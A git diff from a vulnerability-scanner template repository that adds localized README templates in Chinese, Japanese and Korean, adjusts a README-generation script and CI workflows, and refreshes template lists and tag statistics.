fix: fix typo in CVE-2024-36104.yaml

chore: generate new addition list 🤖
chore: generate templates checksum 🤖
2026-11-07 17:43:44 -10:00 · 2025-08-16 11:41:14 +09:00 · 2025-08-15 07:28:05 +00:00 · 2025-08-15 07:28:00 +00:00 · 2025-08-15 07:27:58 +00:00 · 2025-08-15 12:57:32 +05:30
275 changed files with 8583 additions and 7839 deletions
@@ -0,0 +1,87 @@
+f"""
+
+<h1 align="center">
+Nuclei 模板
+</h1>
+<div align="center">
+<a href="README.md">English</a> |
+<a href="README_CN.md">简体中文</a> |
+<a href="README_JA.md">日本語</a> |
+<a href="README_KR.md">한국어</a>
+</div>
+<h4 align="center">这个仓库用于存放由社区精心挑选的模板,可以使用nuclei引擎结合模板发现应用中的漏洞。</h4>
+
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">文档</a> •
+  <a href="#-贡献">贡献</a> •
+  <a href="#-交流">交流</a> •
+  <a href="#-社区">社区</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">加入Discord</a>
+</p>
+
+----
+
+模板是 [nuclei 扫描器](https://github.com/projectdiscovery/nuclei) 的核心.
+这个git仓库储存了由PD团队以及社区贡献的各种扫描模板.
+我们希望您也能攻通过 **pull requests** 或者[Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)来提交模板以扩大我们的仓库列表.
+
+
+## Nuclei模板项目情况概述
+
+
+以下是nuclei模板项目的情况概览,包括唯一标签,作者,目录,严重性,模板类型的相关统计情况.以下表格列出了前面提到的每项情况的TOP10信息;你也可以点击[这里](TEMPLATES-STATS.md)查看详细信息.当然你也可以点击[这里](TEMPLATES-STATS.json)获取JSON格式的详细情况统计
+
+<table>
+<tr>
+<td> 
+
+{get_top10()}
+
+**{command("tree", -2, None)}**.
+
+</td>
+</tr>
+</table>
+
+📖 文档
+-----
+
+详细的文档请访问我们的网站[https://nuclei.projectdiscovery.io](https://nuclei.projectdiscovery.io),在我们网站的详细文档中,我们提供了如何创建模板的具体方法,并且也提供了相应的示例模板来帮助您更好地理解模板的开发以及运行原理.
+
+💪 贡献
+-----
+
+社区是Nuclei模板项目的主要贡献主力,我们非常欢迎开发者们来贡献模板,提出需求和报告Bug.
+
+![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
+
+💬 交流
+-----
+
+如果您有任何关于该项目的疑问或是新奇的点子,欢迎在[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions)创建新的板块来进行讨论.
+
+👨‍💻 社区
+-----
+
+欢迎您加入我们的[Discord 社区](https://discord.gg/projectdiscovery)，与项目维护人员直接讨论，或与其他人分享有关安全和自动化的想法。
+此外，您还可以在 [Twitter](https://twitter.com/pdnuclei) 上关注我们，了解 Nuclei 的最新动态。
+
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
+  <img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
+</a>
+</p>
+
+
+最后,感谢您对这个项目的贡献,这将让我们的社区更加充满活力.
+"""
@@ -0,0 +1,82 @@
+f"""<h1 align="center">
+Nuclei テンプレート
+</h1>
+<h4 align="center">アプリケーションのセキュリティ脆弱性を発見するためのNucleiエンジン用テンプレートのコミュニティキュレーションリスト</h4>
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+      
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">ドキュメント</a> •
+  <a href="#-contributions">貢献</a> •
+  <a href="#-discussion">ディスカッション</a> •
+  <a href="#-community">コミュニティ</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">Discordに参加</a>
+</p>
+
+<p align="center">
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README.md">English</a> •
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_KR.md">한국어</a> •
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_JP.md">日本語</a>
+</p>
+
+----
+
+テンプレートは、実際のスキャンエンジンを動作させる[nucleiスキャナー](https://github.com/projectdiscovery/nuclei)のコアです。
+このリポジトリは、私たちのチームが提供するテンプレートや、コミュニティからの貢献によるさまざまなテンプレートを保存・管理します。
+テンプレートのリストを増やすために、**プルリクエスト**や[Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)を通じて貢献していただけると幸いです。
+
+## Nuclei テンプレートの概要
+
+Nucleiテンプレートプロジェクトの概要であり、ユニークなタグ、著者、ディレクトリ、重大度、テンプレートの種類に関する統計を含みます。以下の表は、各マトリックスのトップ10の統計を示しています。拡張バージョンは[こちら](TEMPLATES-STATS.md)で確認でき、[JSON](TEMPLATES-STATS.json)形式でも利用可能です。
+
+<table>
+<tr>
+<td> 
+
+{get_top10()}
+
+**{command("tree", -2, None)}**.
+
+</td>
+</tr>
+</table>
+
+📖 ドキュメント
+-----
+
+新しいテンプレートやカスタムテンプレートを作成するための詳細なドキュメントは、https://nuclei.projectdiscovery.io で確認できます。作業方法を理解するためのテンプレートも用意しています。
+
+💪 貢献
+-----
+
+Nucleiテンプレートはコミュニティの貢献によって動作します。
+[テンプレートの貢献](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)、[機能リクエスト](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+)、[バグ報告](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+)はいつでも歓迎します。
+
+![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
+
+💬 ディスカッション
+-----
+
+質問、疑問、アイデアを話し合いたいですか？
+[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions)で自由に始めることができます。
+
+👨‍💻 コミュニティ
+-----
+
+プロジェクトの管理者と直接話し合い、セキュリティや自動化に関することを他の人と共有するために、[Discord Community](https://discord.gg/projectdiscovery)に参加することを歓迎します。さらに、Nucleiに関するすべての情報を更新するために、[Twitter](https://twitter.com/pdnuclei)をフォローすることもできます。
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
+  <img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
+</a>
+</p>
+
+皆さんの貢献とコミュニティの活性化への努力に感謝します。
+:heart:
+"""
@@ -0,0 +1,84 @@
+f"""
+
+<h1 align="center">
+Nuclei 템플릿
+</h1>
+<h4 align="center">커뮤니티에서 엄선한, 애플리케이션 보안 취약점을 찾기 위한 Nuclei 엔진용 템플릿 목록</h4>
+
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+      
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">가이드 문서</a> •
+  <a href="#-contributions">기여</a> •
+  <a href="#-discussion">논의</a> •
+  <a href="#-community">커뮤니티</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">디스코드</a>
+</p>
+
+<p align="center">
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README.md">English</a> •
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_KR.md">한국어</a>
+</p>
+
+----
+
+템플릿은 실제 스캐닝 엔진을 동작하게 하는 [nuclei scanner](https://github.com/projectdiscovery/nuclei)의 핵심입니다.
+이 저장소는 우리 팀에서 제공하거나, 커뮤니티에서 기여한 다양한 템플릿들을 저장하고 보관합니다.
+템플릿 목록을 증가시키기 위해서 **pull requests** 나 [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) 를 통해 기여해주시기를 부탁드립니다.
+
+## Nuclei 템플릿 개요
+
+고유 태그, 작성자, 디렉토리, 심각도, 템플릿 종류에 대한 통계를 포함하고 있는 nuclei 템플릿의 개요입니다. 아래 표는 각 지표의 상위 10개 항목을 나타내고 있습니다. 더 자세한 정보는 [이곳](TEMPLATES-STATS.md)에서 확인 가능하고, [JSON](TEMPLATES-STATS.json) 형식으로도 확인 가능합니다. 
+
+<table>
+<tr>
+<td> 
+
+{get_top10()}
+
+**{command("tree", -2, None)}**.
+
+</td>
+</tr>
+</table>
+
+📖 문서
+-----
+
+새 템플릿이나 사용자 정의 템플릿을 빌드하기 위한 자세한 문서는 https://nuclei.projectdiscovery.io 에서 확인할 수 있습니다. 작업 방식의 이해를 돕기 위한 템플릿들도 있습니다.
+
+💪 기여
+-----
+
+Nuclei 템플릿은 커뮤니티의 기여로 동작합니다.
+[템플릿 기여](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [기능 요청](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+), [버그 제보](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+)는 언제든지 환영합니다.
+
+![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
+
+💬 논의
+-----
+
+같이 이야기하고 싶은 질문, 의문 혹은 아이디어가 있으신가요?
+[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) 에서 자유롭게 시작할 수 있습니다.
+
+👨‍💻 커뮤니티
+-----
+
+프로젝트 관리자와 직접 논의하고 보안과 자동화 관련 사항을 다른 사람과 공유하기 위해 [Discord Community](https://discord.gg/projectdiscovery) 에 참여하는 것을 환영합니다. 추가로 Nuclei 에 대한 모든 정보를 업데이트 하기 위해 [트위터](https://twitter.com/pdnuclei) 팔로우를 할 수 있습니다.
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
+  <img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
+</a>
+</p>
+
+여러분의 기여와 커뮤니티의 활성화를 위한 노력에 다시한번 감사드립니다.
+:heart:
+"""
@@ -18,6 +18,25 @@ if __name__ == "__main__":
 	template = eval(open(".github/scripts/README.tmpl", "r").read())

 	print(template)
+	
+	# Update main README.md
 	f = open("README.md", "w")
 	f.write(template)
 	f.close()
+	
+	# Update localized README files with their respective templates
+	localized_files = {
+		"README_CN.md": ".github/scripts/README_CN.tmpl",
+		"README_JA.md": ".github/scripts/README_JA.tmpl", 
+		"README_KR.md": ".github/scripts/README_KR.tmpl"
+	}
+	
+	for readme_file, template_file in localized_files.items():
+		try:
+			localized_template = eval(open(template_file, "r").read())
+			f = open(readme_file, "w")
+			f.write(localized_template)
+			f.close()
+		except FileNotFoundError:
+			print(f"Template {template_file} not found, skipping {readme_file}")
+			continue
@@ -21,6 +21,6 @@ jobs:
      - uses: projectdiscovery/actions/setup/git@v1
      - uses: projectdiscovery/actions/commit@v1
        with:
-          files: 'README.md'
+          files: 'README.md README_*.md'
          message: 'docs: update README 🤖'
      - run: git push origin $GITHUB_REF
@@ -28,7 +28,7 @@ jobs:
        with:
          token: '${{ secrets.GITHUB_TOKEN }}'
      - name: Validate templates
-        run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/
+        run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/ -ept code -et helpers/payloads/

  weak-matcher-checks:
    needs: lint
@@ -1,55 +1,15 @@
-headless/cves/2025/CVE-2025-8191.yaml
-http/cves/2022/CVE-2022-25237.yaml
-http/cves/2024/CVE-2024-2053.yaml
-http/cves/2025/CVE-2025-1595.yaml
-http/cves/2025/CVE-2025-25257.yaml
-http/cves/2025/CVE-2025-4334.yaml
-http/cves/2025/CVE-2025-44177.yaml
-http/cves/2025/CVE-2025-48954.yaml
-http/cves/2025/CVE-2025-53558.yaml
-http/cves/2025/CVE-2025-5394.yaml
-http/cves/2025/CVE-2025-54782.yaml
-http/cves/2025/CVE-2025-6197.yaml
-http/cves/2025/CVE-2025-8286.yaml
-http/default-logins/apache/apache-inlong-default-login.yaml
-http/default-logins/openmetadata/openmetadata-default-login.yaml
-http/exposed-panels/meddream-dicom-viewer-panel.yaml
-http/exposed-panels/opensign-panel.yaml
-http/exposed-panels/scalar-detection.yaml
-http/exposed-panels/suse-manager-panel.yaml
-http/miscellaneous/dnt-policy-detect.yaml
-http/misconfiguration/installer/zipline-installer.yaml
-http/misconfiguration/titiler-ssrf.yaml
-http/misconfiguration/tomcat-directory-listing.yaml
-http/osint/user-enumeration/9gag.yaml
-http/osint/user-enumeration/apple-developer.yaml
-http/osint/user-enumeration/apple-discussions.yaml
-http/osint/user-enumeration/atcoder.yaml
-http/osint/user-enumeration/bluesky.yaml
-http/osint/user-enumeration/cgtrader.yaml
-http/osint/user-enumeration/codechef.yaml
-http/osint/user-enumeration/geeksforgeeks.yaml
-http/osint/user-enumeration/genius-users.yaml
-http/osint/user-enumeration/giant-bomb.yaml
-http/osint/user-enumeration/hudsonrock.yaml
-http/osint/user-enumeration/kaskus.yaml
-http/osint/user-enumeration/lastfm.yaml
-http/osint/user-enumeration/letterboxd.yaml
-http/osint/user-enumeration/mixcloud.yaml
-http/osint/user-enumeration/monkeytype.yaml
-http/osint/user-enumeration/mydramalist.yaml
-http/osint/user-enumeration/nationstates-nation.yaml
-http/osint/user-enumeration/replit.yaml
-http/osint/user-enumeration/reverbnation.yaml
-http/osint/user-enumeration/runescape.yaml
-http/osint/user-enumeration/scribd.yaml
-http/osint/user-enumeration/sketchfab.yaml
-http/osint/user-enumeration/slack.yaml
-http/osint/user-enumeration/strava.yaml
-http/osint/user-enumeration/topcoder.yaml
-http/osint/user-enumeration/weblate.yaml
-http/osint/user-enumeration/younow.yaml
-http/technologies/apache/apache-inlong-detect.yaml
-http/technologies/nocobase-detect.yaml
-http/technologies/openmetadata-detect.yaml
-http/vulnerabilities/other/easycvr-user-info-disclosure.yaml
+http/cves/2025/CVE-2025-32430.yaml
+http/cves/2025/CVE-2025-34073.yaml
+http/cves/2025/CVE-2025-54589.yaml
+http/cves/2025/CVE-2025-6934.yaml
+http/exposed-panels/espec-web-controller-panel.yaml
+http/exposed-panels/huawei-holosense-panel.yaml
+http/exposed-panels/hyperdx-panel.yaml
+http/exposed-panels/zipline-panel.yaml
+http/exposures/files/python-venv-exposure.yaml
+http/miscellaneous/atproto-did-exposure.yaml
+http/miscellaneous/mta-sts-exposure.yaml
+http/miscellaneous/nostr-json-exposure.yaml
+http/miscellaneous/oauth-authorization-server-exposure.yaml
+http/miscellaneous/pki-validation-exposure.yaml
+http/technologies/nvidia-triton-detect.yaml
@@ -17,6 +17,7 @@ tags:
  - "local"
  - "fuzz"
  - "bruteforce"
+  - "txt-service"

 # The following templates have been excluded because they have weak matchers and may generate FP results.
 # Please feel free to create PR if you can update the templates with strict matchers.
@@ -31,7 +32,6 @@ files:
  - http/fuzzing/mdb-database-file.yaml
  - http/fuzzing/iis-shortname.yaml
  - dns/soa-detect.yaml
-  - dns/txt-service-detect.yaml
  - javascript/enumeration/pop3/pop3-capabilities-enum.yaml
  - javascript/enumeration/redis/redis-require-auth.yaml
  - dast/vulnerabilities/sqli/time-based-sqli.yaml
@@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags,

 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3275 | dhiyaneshdk   |  1877 | http       |  8913 | info     |  4154 | file |   435 |
-| panel     |  1338 | daffainfo     |   868 | cloud      |   657 | high     |  2439 | dns  |    26 |
-| xss       |  1255 | princechaddha |   826 | file       |   435 | medium   |  2374 |      |       |
-| wordpress |  1180 | dwisiswant0   |   806 | dast       |   255 | critical |  1418 |      |       |
-| exposure  |  1105 | ritikchaddha  |   648 | workflows  |   202 | low      |   318 |      |       |
-| wp-plugin |  1031 | pussycat0x    |   529 | code       |   198 | unknown  |    56 |      |       |
-| osint     |   813 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
-| tech      |   800 | pdteam        |   310 | javascript |    71 |          |       |      |       |
-| rce       |   783 | pdresearch    |   267 | ssl        |    38 |          |       |      |       |
-| lfi       |   775 | iamnoooob     |   256 | dns        |    23 |          |       |      |       |
+| cve       |  3288 | dhiyaneshdk   |  1882 | http       |  8967 | info     |  4190 | file |   435 |
+| panel     |  1342 | daffainfo     |   868 | cloud      |   657 | high     |  2446 | dns  |    26 |
+| xss       |  1257 | princechaddha |   854 | file       |   435 | medium   |  2379 |      |       |
+| wordpress |  1181 | dwisiswant0   |   806 | dast       |   255 | critical |  1425 |      |       |
+| exposure  |  1107 | ritikchaddha  |   649 | workflows  |   202 | low      |   318 |      |       |
+| wp-plugin |  1032 | pussycat0x    |   532 | code       |   198 | unknown  |    56 |      |       |
+| osint     |   841 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
+| tech      |   803 | pdteam        |   310 | javascript |    71 |          |       |      |       |
+| rce       |   786 | pdresearch    |   269 | ssl        |    38 |          |       |      |       |
+| lfi       |   777 | iamnoooob     |   257 | dns        |    23 |          |       |      |       |

-**847 directories, 11287 files**.
+**848 directories, 11344 files**.

 </td>
 </tr>
@@ -1 +1 @@
-{"tags":[{"name":"cve","count":3275},{"name":"panel","count":1338},{"name":"xss","count":1255},{"name":"wordpress","count":1180},{"name":"exposure","count":1105},{"name":"wp-plugin","count":1031},{"name":"osint","count":813},{"name":"tech","count":800},{"name":"rce","count":783},{"name":"lfi","count":775},{"name":"misconfig","count":754},{"name":"devops","count":740},{"name":"cloud","count":697},{"name":"edb","count":599},{"name":"wp","count":578},{"name":"packetstorm","count":552},{"name":"wpscan","count":536},{"name":"cve2021","count":513},{"name":"cve2022","count":513},{"name":"detect","count":492},{"name":"cve2023","count":489},{"name":"sqli","count":487},{"name":"cve2024","count":472},{"name":"login","count":456},{"name":"unauth","count":436},{"name":"kev","count":436},{"name":"authenticated","count":425},{"name":"intrusive","count":405},{"name":"file","count":377},{"name":"oast","count":284},{"name":"cve2020","count":277},{"name":"default-login","count":276},{"name":"config","count":255},{"name":"token-spray","count":247},{"name":"apache","count":241},{"name":"microsoft","count":240},{"name":"top-200","count":235},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"network","count":219},{"name":"malware","count":213},{"name":"osint-social","count":212},{"name":"token","count":211},{"name":"azure","count":210},{"name":"","count":205},{"name":"csp-bypass","count":204},{"name":"aws","count":192},{"name":"azure-cloud-config","count":191},{"name":"time-based-sqli","count":191},{"name":"auth-bypass","count":190},{"name":"cve2018","count":184},{"name":"iot","count":184},{"name":"cve2019","count":183},{"name":"code","count":177},{"name":"amazon","count":175},{"name":"install","count":166},{"name":"redirect","count":157},{"name":"keys","count":156},{"name":"joomla","count":151},{"name":"ssrf","count":148},{"name":"aws-cloud-config","count":147},{"name":"tcp","count":142},{"name":"security","count":137},{"name":"router","count":132},{"name":"cve2025","count":127},{"name":"files","count":125},{"name":"cms","count":123},{"name":"cve2017","count":120},{"name":"phishing","count":118},{"name":"cve2010","count":112},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"windows-audit","count":90},{"name":"linux","count":88},{"name":"seclists","count":86},{"name":"oss","count":85},{"name":"local","count":81},{"name":"takeover","count":81},{"name":"privesc","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":77},{"name":"js","count":76},{"name":"windows","count":76},{"name":"cisco","count":75},{"name":"enum","count":73},{"name":"k8s","count":71},{"name":"file-upload","count":66},{"name":"adobe","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"c2","count":61},{"name":"cve2015","count":61},{"name":"alibaba","count":61},{"name":"cve2016","count":60},{"name":"atlassian","count":59},{"name":"google","count":59},{"name":"detection","count":59},{"name":"vmware","count":58},{"name":"deserialization","count":56},{"name":"audit","count":55},{"name":"php","count":52},{"name":"dast","count":51},{"name":"logs","count":50},{"name":"cve2014","count":50},{"name":"tenable","count":48},{"name":"traversal","count":48},{"name":"hackerone","count":48},{"name":"log4j","count":48},{"name":"ssti","count":48},{"name":"generic","count":47},{"name":"ssh","count":47},{"name":"debug","count":47},{"name":"misc","count":46},{"name":"vulhub","count":46},{"name":"cnvd","count":46},{"name":"aem","count":46},{"name":"osint-gaming","count":45},{"name":"injection","count":45},{"name":"plugin","count":45},{"name":"aliyun","count":45},{"name":"jndi","count":44},{"name":"oa","count":43},{"name":"ssl","count":43},{"name":"springboot","count":43},{"name":"fortinet","count":42},{"name":"ibm","count":42},{"name":"osint-hobby","count":42},{"name":"osint-porn","count":42},{"name":"tls","count":41},{"name":"firewall","count":41},{"name":"listing","count":40},{"name":"info-leak","count":40},{"name":"miscellaneous","count":39},{"name":"postgresql","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"sap","count":38},{"name":"api","count":38},{"name":"k8s-cluster-security","count":37},{"name":"jira","count":37},{"name":"wp-theme","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-misc","count":35},{"name":"networking","count":34},{"name":"devsecops","count":34},{"name":"gitlab","count":34},{"name":"lfr","count":34},{"name":"xxe","count":34},{"name":"dns","count":33},{"name":"fuzz","count":33},{"name":"yonyou","count":32},{"name":"printer","count":31},{"name":"vpc","count":31},{"name":"graphql","count":31},{"name":"nginx","count":31},{"name":"osint-tech","count":31},{"name":"ec2","count":30},{"name":"alibaba-cloud-config","count":30},{"name":"osint-coding","count":30},{"name":"prestashop","count":29},{"name":"gke","count":29},{"name":"ftp","count":29},{"naLine truncated
+{"tags":[{"name":"cve","count":3288},{"name":"panel","count":1342},{"name":"xss","count":1257},{"name":"wordpress","count":1181},{"name":"exposure","count":1107},{"name":"wp-plugin","count":1032},{"name":"osint","count":841},{"name":"tech","count":803},{"name":"rce","count":786},{"name":"lfi","count":777},{"name":"misconfig","count":758},{"name":"devops","count":740},{"name":"cloud","count":696},{"name":"edb","count":599},{"name":"wp","count":579},{"name":"packetstorm","count":552},{"name":"wpscan","count":536},{"name":"cve2022","count":514},{"name":"cve2021","count":513},{"name":"detect","count":501},{"name":"cve2023","count":489},{"name":"sqli","count":488},{"name":"cve2024","count":473},{"name":"login","count":458},{"name":"unauth","count":439},{"name":"kev","count":436},{"name":"authenticated","count":425},{"name":"intrusive","count":407},{"name":"file","count":377},{"name":"oast","count":285},{"name":"default-login","count":279},{"name":"cve2020","count":277},{"name":"config","count":255},{"name":"token-spray","count":247},{"name":"apache","count":243},{"name":"microsoft","count":240},{"name":"top-200","count":235},{"name":"gcp","count":232},{"name":"osint-social","count":226},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"network","count":220},{"name":"malware","count":213},{"name":"token","count":211},{"name":"azure","count":210},{"name":"","count":205},{"name":"csp-bypass","count":204},{"name":"aws","count":192},{"name":"auth-bypass","count":191},{"name":"azure-cloud-config","count":191},{"name":"time-based-sqli","count":191},{"name":"cve2018","count":184},{"name":"iot","count":184},{"name":"cve2019","count":183},{"name":"code","count":177},{"name":"amazon","count":175},{"name":"install","count":166},{"name":"redirect","count":158},{"name":"keys","count":156},{"name":"joomla","count":151},{"name":"ssrf","count":149},{"name":"aws-cloud-config","count":147},{"name":"tcp","count":143},{"name":"cve2025","count":138},{"name":"security","count":137},{"name":"router","count":132},{"name":"files","count":125},{"name":"cms","count":123},{"name":"cve2017","count":120},{"name":"phishing","count":118},{"name":"cve2010","count":112},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"windows-audit","count":90},{"name":"linux","count":88},{"name":"seclists","count":86},{"name":"oss","count":85},{"name":"local","count":81},{"name":"takeover","count":81},{"name":"privesc","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":77},{"name":"windows","count":76},{"name":"js","count":76},{"name":"cisco","count":75},{"name":"enum","count":73},{"name":"k8s","count":71},{"name":"file-upload","count":68},{"name":"adobe","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"alibaba","count":61},{"name":"cve2015","count":61},{"name":"c2","count":61},{"name":"cve2016","count":60},{"name":"detection","count":59},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"vmware","count":58},{"name":"deserialization","count":56},{"name":"audit","count":55},{"name":"php","count":52},{"name":"dast","count":51},{"name":"cve2014","count":50},{"name":"logs","count":50},{"name":"traversal","count":49},{"name":"osint-gaming","count":49},{"name":"tenable","count":48},{"name":"log4j","count":48},{"name":"ssti","count":48},{"name":"hackerone","count":48},{"name":"generic","count":47},{"name":"debug","count":47},{"name":"ssh","count":47},{"name":"vulhub","count":46},{"name":"aem","count":46},{"name":"plugin","count":46},{"name":"cnvd","count":46},{"name":"misc","count":46},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"jndi","count":44},{"name":"oa","count":43},{"name":"fortinet","count":43},{"name":"springboot","count":43},{"name":"ssl","count":43},{"name":"osint-hobby","count":42},{"name":"osint-porn","count":42},{"name":"ibm","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"listing","count":41},{"name":"info-leak","count":40},{"name":"miscellaneous","count":39},{"name":"dlink","count":39},{"name":"api","count":39},{"name":"postgresql","count":39},{"name":"sap","count":38},{"name":"cti","count":38},{"name":"jira","count":37},{"name":"osint-coding","count":37},{"name":"k8s-cluster-security","count":37},{"name":"google-cloud-sql","count":36},{"name":"wp-theme","count":36},{"name":"osint-misc","count":35},{"name":"lfr","count":34},{"name":"gitlab","count":34},{"name":"networking","count":34},{"name":"xxe","count":34},{"name":"devsecops","count":34},{"name":"dns","count":33},{"name":"fuzz","count":33},{"name":"yonyou","count":32},{"name":"nginx","count":31},{"name":"osint-tech","count":31},{"name":"vpc","count":31},{"name":"graphql","count":31},{"name":"printer","count":31},{"name":"alibaba-cloud-config","count":30},{"name":"ec2","count":30},{"name":"admin","count":29},{"name":"prestashop","count":29},{"name":"gke","count":29},{"Line truncated
@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3275 | dhiyaneshdk   |  1877 | http       |  8913 | info     |  4154 | file |   435 |
-| panel     |  1338 | daffainfo     |   868 | cloud      |   657 | high     |  2439 | dns  |    26 |
-| xss       |  1255 | princechaddha |   826 | file       |   435 | medium   |  2374 |      |       |
-| wordpress |  1180 | dwisiswant0   |   806 | dast       |   255 | critical |  1418 |      |       |
-| exposure  |  1105 | ritikchaddha  |   648 | workflows  |   202 | low      |   318 |      |       |
-| wp-plugin |  1031 | pussycat0x    |   529 | code       |   198 | unknown  |    56 |      |       |
-| osint     |   813 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
-| tech      |   800 | pdteam        |   310 | javascript |    71 |          |       |      |       |
-| rce       |   783 | pdresearch    |   267 | ssl        |    38 |          |       |      |       |
-| lfi       |   775 | iamnoooob     |   256 | dns        |    23 |          |       |      |       |
+| cve       |  3288 | dhiyaneshdk   |  1882 | http       |  8967 | info     |  4190 | file |   435 |
+| panel     |  1342 | daffainfo     |   868 | cloud      |   657 | high     |  2446 | dns  |    26 |
+| xss       |  1257 | princechaddha |   854 | file       |   435 | medium   |  2379 |      |       |
+| wordpress |  1181 | dwisiswant0   |   806 | dast       |   255 | critical |  1425 |      |       |
+| exposure  |  1107 | ritikchaddha  |   649 | workflows  |   202 | low      |   318 |      |       |
+| wp-plugin |  1032 | pussycat0x    |   532 | code       |   198 | unknown  |    56 |      |       |
+| osint     |   841 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
+| tech      |   803 | pdteam        |   310 | javascript |    71 |          |       |      |       |
